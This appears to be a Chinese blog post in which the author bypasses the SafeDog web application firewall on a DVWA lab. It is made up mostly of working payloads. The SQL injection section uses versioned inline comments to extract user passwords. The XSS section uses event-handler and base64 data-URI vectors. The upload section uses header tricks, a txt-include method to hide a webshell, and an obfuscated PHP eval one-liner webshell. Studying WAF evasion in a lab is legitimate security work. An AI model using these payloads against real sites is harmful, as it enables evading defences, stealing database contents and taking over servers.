zoukankan      html  css  js  c++  java
  • 几种绕过安全狗的姿势

    ————背景说明————

    想起之前safedog面试官问我怎么绕过他们的产品,我说不知道。今天想起来就整整他们的waf耍,顺便纪念一下自己认怂的一次面试经历。

    背景讲完了,ok,这里安全狗用的是apachev3.5版本,服务器用的是phpstudy2016,页面用的是dvwa。

    ————SQL注入————

    首先是单引号判断,它是不检测的,正常报错,加两个就闭合没事

     这是个字符型的,接下来试一下and 和 or 语句

    1' and '1'='1,安全狗进行了拦截

     

    试了下单独的and发现是不拦截的,应该是and后面加数字或者字符的表达式会被匹配拦截

    那么试着讲and 修改为&&,发现&&加1=1这些一样是被拦截的

    但是1=1和1=2本质便是true,false,而&& true这样在语法上是可以的

    那么用1' && true #和1' && false # 成功绕过了狗

    1' && false # 因为语句是false,所以没有信息,这里不截图了

    字符型的话也可以通过浮点数 1.0and 1=1 来绕过对and的检测

    与and类似,or可以用||代替

     

    (除了||,也可以用看看xor)

    接下来试一下order,网上有说,用内联注释是可以绕过的

    我这里用了简单的payload了一下1'/*!order*//*!by*/1 # 

    这里是会被拦截的,这就很尴尬了

    不过这里可以构建内联注释和注释,双注释进行绕过,比如:

    ' /*!order/*!/*/**/by*/ 3#

    union就有点难搞了,其实也不是union,就union+select

    union不处理没啥事,select不处理安全狗会帮你处理的

    这里网上看了下有/*!50000union/*!*//*!50000select/*!*/这样通过版本号绕过

    但是我试了一下,50000这个不太ok,会被拦截的

    可是当然不是只有50000这个鸭,根据服务器版本,我这是5.5的

    所以到55000中某些应该没有被拦截

    随便用了下44111,发现是可以的,用其他的应该也可以

     然后查个用户啥的,这里user()被拦截了,可以用同样的方法把user和()分别利用

    1' /*!44111union*/ /*!44111select*/ 1, /*!44111user*//*!44111()*/#

    其他懒得写了,到这里就简单了,反复检查了好几遍以为自己把狗关了

    1' /*!44111union*/ /*!44111select*/ 1,(/*!44111select*//*!44111password*//*!44111from*//*!44111users*/limit 0,1)#

    ————XSS————

    试了一下 <script>alert('1')</script>

     不出意料,当当当当,被狗拦截了

    但是试了一下发现alert('1')拦截,但是alert(1)不拦截

     应该是判断了alert内部是否插入' ' 及内容,毕竟弹窗一个数字1没啥意义

    同时看了看prompt是都可以

     

    那么除了内容拦截,试了试标签,原来<script>也被拦截了

    试了一下其他标签,看哪些不被拦截

    发现<vedio>和<audio>可以,那么可以构建一个基于错误的弹窗

    <audio src=1 onerror=prompt('xss');>

    或<video src=1 onerror=prompt('xss');>

    因为src=1存在错误所以会执行prompt

    然后还有<button>没有被过滤

    <button>可以创建一个按钮然后点击发生onclick事件

    <button/onclick=prompt(xss) >button</button>

    最后还有个<obeject>,利用标签格式,进行编码绕过,这甚至实现了alert('xss')

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

     

    除了以上这些,应该还有其他标签可以进行绕过,自行尝试

    ————文件上传————

    绕后缀检测,正常上传一个php的话,会被拦截

    我还试了下截断发现是不行的,那就抓包改咯

    把filename=“”改成filename=;

    成功上传

    把filename那一行的from-data删了

    成功上传

    把content-type行删了

     

     

    成功上传

     Content-Disposition随意大小写

    成功上传

     

     不过上传的网马访问的时候又做了一次拦截

    如何绕过,先从大马开始

    思路是把大马的内容写入txt中,然后再建一个php内部包含txt

    这里上传的php重新写的一个,dvwa的懒得改txt限制了

    一开始传了过狗的大马没注意,以为狗不会拦大马

    重新绕后缀限制传一个一般的

    然后访问马,会被拦截

    安全狗的日志显示是常见木马

    接下来把刚刚大马改成txt,然后php包含

     然后分别上传

     

     然后访问php,发现狗不拦截了

    乱码问题自己调一下就行

    再来是一句话,其实就是混淆一下就行

    先传个过狗一句话,主要就赋值混淆一下

    <?php $a=$_POST['cmd']; $b=&$a; eval($b);?>

    (其他的还有很多,自行百度或者自己写) 

    然后访问一下,发现狗不拦截了

    密码是cmd很明显了,直接post命令即可

     

     ————结束撒花————

  • 相关阅读:
    Codeforces Round #348 (VK Cup 2016 Round 2, Div. 2 Edition) D. Little Artem and Dance
    HDU 5521 Meeting 最短路
    BZOJ 1051: [HAOI2006]受欢迎的牛 强连通缩点
    P2661 信息传递 强连通分量
    Codeforces Round #343 (Div. 2) C. Famil Door and Brackets
    HDU 4859 海岸线 最小割
    HDU 4162 Shape Number
    Codeforces Round #355 (Div. 2) D. Vanya and Treasure dp+分块
    bzoj 1295: [SCOI2009]最长距离 暴力+bfs最短路
    Codeforces Round #222 (Div. 1) C. Captains Mode 对弈+dp
  • 原文地址:https://www.cnblogs.com/hguone/p/13129646.html
Copyright © 2011-2022 走看看